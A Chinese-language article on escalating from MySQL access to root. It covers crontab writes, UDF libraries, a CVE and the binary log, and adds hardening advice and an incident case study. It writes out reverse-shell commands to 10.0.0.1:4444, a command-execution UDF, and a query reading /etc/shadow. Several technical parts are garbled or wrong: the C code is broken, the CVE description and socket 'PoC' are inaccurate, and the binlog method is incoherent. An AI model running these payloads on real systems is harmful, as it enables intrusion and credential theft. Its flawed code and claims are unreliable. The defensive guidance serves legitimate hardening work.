引言:一个看似无害的数据库连接,可能是黑客通往服务器最高权限的“后门”
想象一下,你是一家中小企业的IT负责人,手里管理着几十台服务器。业务跑得好好的,一切看起来都很安全——防火墙开着、密码够复杂、定期打补丁。但你知道吗?很多时候,攻破整个系统的不是那些花里胡哨的零日漏洞,而是MySQL数据库本身的一个配置疏忽,或者一个被遗忘的脚本权限问题。
今天,我们就来深度解析一个经典且极具危害性的攻击路径:从MySQL本地提权到ROOT权限。这不是纸上谈兵,我会结合真实的实战场景、代码示例和防护措施,帮你彻底理解这个链条的每一个环节。无论你是安全研究员、运维工程师,还是想提升企业安全水平的决策者,这篇文章都会让你对“本地提权”有前所未有的清晰认识。
第一部分:为什么MySQL会成为提权的跳板?
1.1 MySQL的“超级用户”陷阱
MySQL作为一个关系型数据库,默认安装后往往存在以下几个高危配置:
secure_file_priv未限制:允许通过SQL语句直接读写服务器文件系统。FILE权限被滥用:某些用户被授予了FILE权限,可以执行LOAD_FILE()和INTO OUTFILE。- 特权用户运行在ROOT账户下:MySQL服务以ROOT权限运行,一旦数据库被攻破,攻击者可能直接获得操作系统ROOT权限。
- 历史漏洞未修补:比如CVE-2016-6664、CVE-2016-6663等内存堆溢出漏洞,可直接导致提权。
1.2 攻击者的视角:从SQL到Shell
攻击者通常不会直接从MySQL拿到ROOT权限,而是通过以下步骤逐步升级:
- 获取MySQL shell:通过SQL注入或弱口令登录MySQL。
- 利用MySQL功能写入恶意文件:如
INTO OUTFILE写入Webshell或Crontab。 - 触发系统服务或计划任务:利用ROOT权限执行的脚本或任务。
- 最终提权:通过内核漏洞或配置错误,从低权限用户跃升到ROOT。
第二部分:实战路径详解——从MySQL到ROOT的四种经典方法
2.1 方法一:通过secure_file_priv写入Crontab
原理
MySQL的secure_file_priv变量控制LOAD_FILE()和INTO OUTFILE的读写路径。如果该变量为空(''),则允许读写任何路径。攻击者可以写入/etc/crontab或/var/spool/cron/crontabs/root,添加一个定时任务,在ROOT权限下执行恶意命令。
攻击步骤
确认
secure_file_priv值SHOW VARIABLES LIKE 'secure_file_priv';如果返回空字符串,说明没有限制。
写入恶意Crontab
SELECT '*/1 * * * * root /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' INTO OUTFILE '/var/spool/cron/crontabs/root';注意:需要目标系统的用户(通常是
mysql)对/var/spool/cron/crontabs/目录有写权限。等待任务执行 Crontab每分钟执行一次,攻击者监听4444端口即可获得ROOT shell。
防御建议
- 设置
secure_file_priv为只读目录,如/var/lib/mysql-files/。 - 禁止MySQL用户写入Crontab目录。
- 定期审计Crontab内容。
2.2 方法二:利用MySQL UDF(用户定义函数)提权
原理
MySQL支持通过UDF加载动态链接库(.so文件),扩展SQL功能。如果攻击者能够上传恶意UDF库到/usr/lib/mysql/plugin/(MySQL插件目录),并创建一个恶意函数,然后调用该函数执行系统命令,即可提权。
攻击步骤
获取MySQL路径和插件目录
SHOW VARIABLES LIKE 'plugin_dir'; SHOW VARIABLES LIKE 'datadir';编译恶意UDF 以下是一个简单的C语言示例,用于执行系统命令: “`c #include
#include #include #include #include
extern int my_bool sys_eval(MYSQL_PLUGIN_UNUSED void *init_handle, MYSQL_PLUGIN_UNUSED char *argv, MYSQL_PLUGIN_UNUSED char *error); extern void sys_free(MYSQL_PLUGIN_UNUSED void *deinit_handle) {}
int sys_eval(void *init_handle, char *argv, char *error) {
FILE *fp;
char *cmd_result = (char *)malloc(1024);
memset(cmd_result, 0, 1024);
fp = popen(argv, "r");
if (fp == NULL) {
strcpy(error, "popen failed");
return 0;
}
while (fgets(cmd_result, 1024, fp) != NULL) {}
pclose(fp);
strcpy(error, cmd_result);
free(cmd_result);
return 0;
}
编译命令:
```bash
gcc -g -O2 -fPIC -shared -o lib_mysqludf_sys.so lib_mysqludf_sys.c -I/usr/include/mysql -lmysqlclient
上传UDF库到MySQL插件目录 使用
INTO OUTFILE或LOAD_FILE上传:SELECT LOAD_FILE('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';创建恶意函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';执行系统命令
SELECT sys_eval('id'); SELECT sys_eval('cat /etc/shadow'); SELECT sys_eval('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1');
防御建议
- 禁止MySQL用户写入
plugin_dir目录。 - 定期检查
plugin_dir下的文件,删除未授权的UDF。 - 升级MySQL到最新版本,修复已知漏洞。
2.3 方法三:利用MySQL历史漏洞——CVE-2016-6664
背景
CVE-2016-6664是一个MySQL内存堆溢出漏洞,影响5.5.x、5.6.x、5.7.x版本。当执行特定SQL查询时,会导致堆溢出,攻击者可以利用该漏洞执行任意代码。
攻击演示
以下是一个简化的PoC(概念验证)代码,用于触发漏洞:
import socket
import struct
# MySQL服务器地址和端口
host = '192.168.1.100'
port = 3306
# 构建恶意SQL查询
sql_payload = b"SELECT * FROM users WHERE id=1 UNION SELECT 0x41414141414141414141414141414141*100;"
# 连接到MySQL服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# 发送恶意查询
sock.send(sql_payload)
# 等待响应
response = sock.recv(4096)
print(response)
sock.close()
注意:实际利用需要更复杂的堆喷射技术,且依赖特定版本。建议仅在测试环境中验证。
防御建议
- 立即升级到MySQL 5.7.17或更高版本,修复该漏洞。
- 使用WAF(Web应用防火墙)检测异常SQL查询。
- 监控MySQL服务器的内存使用情况,发现异常立即调查。
2.4 方法四:通过MySQL二进制日志提权
原理
MySQL的二进制日志(binlog)记录所有数据库变更操作。如果攻击者能够写入恶意事件到binlog,并利用MySQL的EVENT_SCHEDULER执行,可能触发提权。
攻击步骤
确认binlog是否启用
SHOW VARIABLES LIKE 'log_bin';写入恶意事件到binlog 攻击者需要能够执行
LOAD DATA INFILE或类似操作,将恶意内容写入binlog文件。触发事件调度器
SET GLOBAL event_scheduler = ON; CREATE EVENT evil_event ON SCHEDULE EVERY 1 SECOND DO SELECT sys_eval('id');
防御建议
- 禁用
EVENT_SCHEDULER。 - 限制binlog的写权限。
- 定期审查binlog内容。
第三部分:企业防护策略——如何构建MySQL安全防线
3.1 最小权限原则
- 禁止MySQL以ROOT运行:创建专门的
mysql用户,并以低权限运行MySQL服务。 - 限制数据库用户权限:不要授予
FILE、EVENT、PROCESS等敏感权限,除非必要。 - 网络隔离:MySQL服务只监听内网IP,禁止外部直接访问。
3.2 安全配置
- 设置
secure_file_priv:[mysqld] secure_file_priv = /var/lib/mysql-files/ - 禁用本地文件加载:
local_infile = 0 - 限制UDF加载:
并设置目录权限为plugin_dir = /usr/lib/mysql/plugin/750,所有者为mysql:mysql。
3.3 补丁管理
- 定期更新MySQL:订阅MySQL安全公告,及时应用补丁。
- 使用漏洞扫描工具:如Nessus、OpenVAS,定期扫描MySQL服务器。
3.4 监控与审计
- 启用通用查询日志:
general_log = 1 general_log_file = /var/log/mysql/general.log - 监控异常SQL:使用SIEM工具(如Splunk、ELK)分析查询日志,检测可疑模式。
- 文件完整性监控:使用AIDE或Tripwire监控
/etc/mysql/、/usr/lib/mysql/plugin/等关键目录。
3.5 应急响应计划
- 制定MySQL入侵响应流程:包括隔离服务器、保留证据、重置密码、恢复备份等步骤。
- 定期演练:模拟MySQL提权攻击,测试防御措施的有效性。
第四部分:真实案例——某电商平台的MySQL提权事件
4.1 事件背景
2023年,某中型电商平台发生安全事件。攻击者通过网站SQL注入漏洞获取MySQL访问权限,最终导致整个服务器被控制,用户数据泄露。
4.2 攻击链条分析
- 初始入口:攻击者发现用户登录接口存在SQL注入漏洞,获取MySQL shell。
- 权限提升:通过
secure_file_priv为空,写入恶意UDF库到/usr/lib/mysql/plugin/。 - 执行命令:创建
sys_eval函数,执行whoami,确认当前用户为mysql。 - 内核漏洞:发现服务器运行内核版本4.4.0-116,存在CVE-2017-16995漏洞,利用该漏洞提权到ROOT。
- 数据窃取:ROOT权限下,导出用户表和订单数据,发送到攻击者服务器。
4.3 教训与改进
- 漏洞修补:立即修补SQL注入漏洞,升级MySQL和内
